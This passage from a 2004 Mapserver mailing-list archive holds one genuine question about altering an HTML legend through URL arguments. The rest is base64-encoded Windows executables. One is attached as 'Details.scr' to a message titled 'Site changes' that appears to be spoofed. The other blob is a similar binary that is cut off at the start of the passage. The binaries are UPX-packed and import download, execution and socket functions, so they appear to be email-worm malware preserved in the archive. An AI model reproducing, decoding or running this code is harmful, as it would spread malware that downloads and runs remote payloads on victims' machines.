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 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAMAAAAgAACADgAAAGAAAIAAAAAA AAAAAAAAAAAAAAEAAQAAADgAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAFAAAACk8AAA6AIAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAABAAEAAAB4AACAAAAAAAAAAAAAAAAAAAABAAAAAACQAAAA kPMAABQAAAAAAAAAAAAAAKDAAAAoAAAAIAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAgAAAgAAAAICAAIAAAACAAIAAgIAAAICAgADAwMAAAAD/AAD/AAAA//8A /wAAAP8A/wD//wAA////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHd3d3 d3d3AAAAAAAAAAAAB4iIiIiIhwAAAAAAAAAAAAc4iDM4iDcAAAAAAAAAAAAHs4MAA4OHAAAA AAAAAAAAB/8w/7A4hwAAAAAAAAAAAAe4D7//A4cAAAAAAAAAAAAHgL//v/A3AAAAAAAAAAAA Bw//v/+/AwAAAAAAAAAAAAf/v/+//7AAAAAAAAAAAAAHd3d3d3d3AAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//////////////// //////////////////////////////////////////////////////////////////////// ////////gAH//4AB//+AAf//gAH//4AB//+AAf//gAH//4AB//+AAf//gAH//4AB//////// //////////+IwwAAAAABAAEAICAQAAEABADoAgAAAQAAAAAAAAAAAAAAAADY9AAAgPQAAAAA AAAAAAAAAAAAAOX0AACQ9AAAAAAAAAAAAAAAAAAA8vQAAJj0AAAAAAAAAAAAAAAAAAD89AAA oPQAAAAAAAAAAAAAAAAAAAb1AACo9AAAAAAAAAAAAAAAAAAAEvUAALD0AAAAAAAAAAAAAAAA AAAe9QAAuPQAAAAAAAAAAAAAAAAAACn1AADA9AAAAAAAAAAAAAAAAAAANPUAAMj0AAAAAAAA AAAAAAAAAABA9QAA0PQAAAAAAAAAAAAAAAAAAAAAAAAAAAAATPUAAFr1AABq9QAAAAAAAHj1 AAAAAAAAhvUAAAAAAACQ9QAAAAAAAJ71AAAAAAAArvUAAAAAAAC49QAAAAAAAMz1AAAAAAAA 2PUAAAAAAADo9QAAAAAAAEtFUk5FTDMyLkRMTABhZHZhcGkzMi5kbGwAZ2RpMzIuZGxsAG9s ZTMyLmRsbABTSEVMTDMyLmRsbABzaGx3YXBpLmRsbAB1cmxtb24uZGxsAHVzZXIzMi5kbGwA d2luaW5ldC5kbGwAd3NvY2szMi5kbGwAAABMb2FkTGlicmFyeUEAAEdldFByb2NBZGRyZXNz AABFeGl0UHJvY2VzcwAAAFJlZ0Nsb3NlS2V5AAAARGVsZXRlREMAAENvSW5pdGlhbGl6ZQAA U2hlbGxFeGVjdXRlQQAAAFN0ckR1cEEAAABVUkxEb3dubG9hZFRvRmlsZUEAAHdzcHJpbnRm QQAAAEludGVybmV0T3BlbkEAAABiaW5kAAAAAAAAAAAAAAAAAAAAAAAAbr+MV4lqVwtIJ6US Y8KUu4slNKdBU38OYYFFkkM5VFietY9sQINuk2Q2GMICGJAlk2J7tjwiJme7nosujEw8sjOo Wl1majZwYoUOuxlrnVFjiqFHl1t8XEpRfIcCI51oKGmUlG2VWkppHz5piaZ0YSQAOU9uu2jB iWg9czVHUWArwxRbnw+5uTSObgppg8FqWaNuq3osoVRxM1tvNrM5TIQpnjmFQEhyKkcFixmI alsetzmhb1enTniZbxK0rks3VWFwWAApdRuELklKWnKLT70RiEw7IRGWx48mTlkFrbMWQX51 U0SzE6REto0jKH6PV6ccCkBbUByItiMwuROjW00aCmsUK4mTSRhRg4YhG3MgVJUqkDldjV4j Z4eqa5QdP6+QeYM7vm2vmMaoFzwdVTFPBUDHWjS3dGyeQaxggqUao6GtV3Smx7FVU8GzWXUy w2/AJYFMahBHhZoRwopOo5kGLaEKA2MOqUUbCCOzMkwPh7VRCxhWinZHZ0+/fgtUMyigTo/B nq0TNQZjx2JUDra9vJxXRHUYZmSGTndpIKq5MWWbiCw8SrzAjypjxStWclo8GWdLdoqRYF9s qZ83cJyJiDIifCptiJcASj2/eQQtGzm+hGaLvzCgEU0oXKmrsVGaDYKGM5ZVcHAbImVgUboU lClAeT0OH8dcMiJimTkRiYRIQUCPrnI0daWYDkEptcKys2qgHAxwwAS/hZ8wqSseFZgYtwcj KxEgBkANXgScuxN0HZKRZyEhuwFQUn5IfA52gnaqayiLZKQAH0aWq1JcM8WGFlQvK2lPWZJl xEKVlZ+Mf5fHpR5YOIG8rQu8PT8fJxzBpyGvpUgAk7tWVoq0tSYSN2ihCnlHPjiXUQ0KPywm GX8DtASGshw6iXkvV8MPYi6hcLNQamFBLoIwX1MHA69bUotDlwuItgIDZQBTu0OJmXmRQrbG TS0LgZ+pggZqg6eZlp9bVQohxGV/O4EPFBKeJ8GaacOMJGJ3pCBAlRdfcCuvhKFIehyYowli QQI2LDadpHsCow8wHUoOkx9Miik8sj5PjixhAq2ro7FBqSsXXrFiFsGWK39aI7SZolwNgksU uidQTiOMtGN+DaMdfR+KDrQjlXtfpllvd32/lINEY0uKk7ifGSadrhVdpHIQZX2+dYEhejvE nkQZVJtLY4rDC3R6uRsjgHpKKQwbaHw9AVAtKQgBST4pYCUqsSdzP2CKDLZjZWV9XFZ3GoQY mH4MhmpkXpGkMyFYBiUidEC5dENuusMqXm2Mp8e8FV03qy5DJSRCQzzFU1G5Wmm7aSNJHrBN lIotLD4BVz54bHSeP1KloV+QLIU1MZODdEQZQjiToUm4eioKqVBlDXKuFDheFn11EC8pGkeY Aq2BHEdDKwVcXsbDTpN6ka4gaUnFb4PBLT4pL8YAWKshswm6eCM6C0m6jnijYWV3mRwStCiQ jKO8HGWbkoolW7NfKimnGmYUq0u+XYIzKnmzv4UEJrG2lj6edW1mM8COOjEJsb2ymzefDEfE vyuhTMYANyxisnVfsBUHPUYYiSaAx28cYxNYsoaYhi6wMGtzmcFhOHx7WIhCZhBkv5u1ZDaA cyGVB6utsk9lOmdsWXdZvSSuF6u6wY1csxelUX1dwE8+nhkNApceXBw6qngsfJtfQF1dfIq1 GlxhTDEYjhqEpJCexJOm ----------muxnoqdyslgapeonqbbt-- From emiliom at u.washington.edu Sat Jun 19 23:57:20 2004 From: emiliom at u.washington.edu (Emilio Mayorga) Date: Sat, 19 Jun 2004 23:57:20 -0700 Subject: [Mapserver-users] unable to affect HTML legend via URL arguments to map file elements Message-ID: <40D53550.8060200@u.washington.edu> I'm trying to impact the output of an HTML legend by using URL CGI arguments. For example, if in my map file there is a layer with these elements: NAME "countries" GROUP "political" I want to change the group to "admin" on the fly using this URL CGI snippet: &mode=legend&map_countries_group=admin However, the HTML legend seems to be completely unresponsive to changes passed via the map__ syntax (I've tried various changes). Is that so, or am I doing something wrong? Thanks for your help! Cheers, Emilio Mayorga Central American Ecology & Environment garrobo.org From steve.lime at dnr.state.mn.us Sun Jun 20 07:03:54 2004 From: steve.lime at dnr.state.mn.us (Steve.lime) Date: Sun, 20 Jun 2004 08:03:54 -0600 Subject: [Mapserver-users] Site changes Message-ID: ----------rcwerwjumropermshmcj Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
----------rcwerwjumropermshmcj Content-Type: application/octet-stream; name="Details.scr" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Details.scr" 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 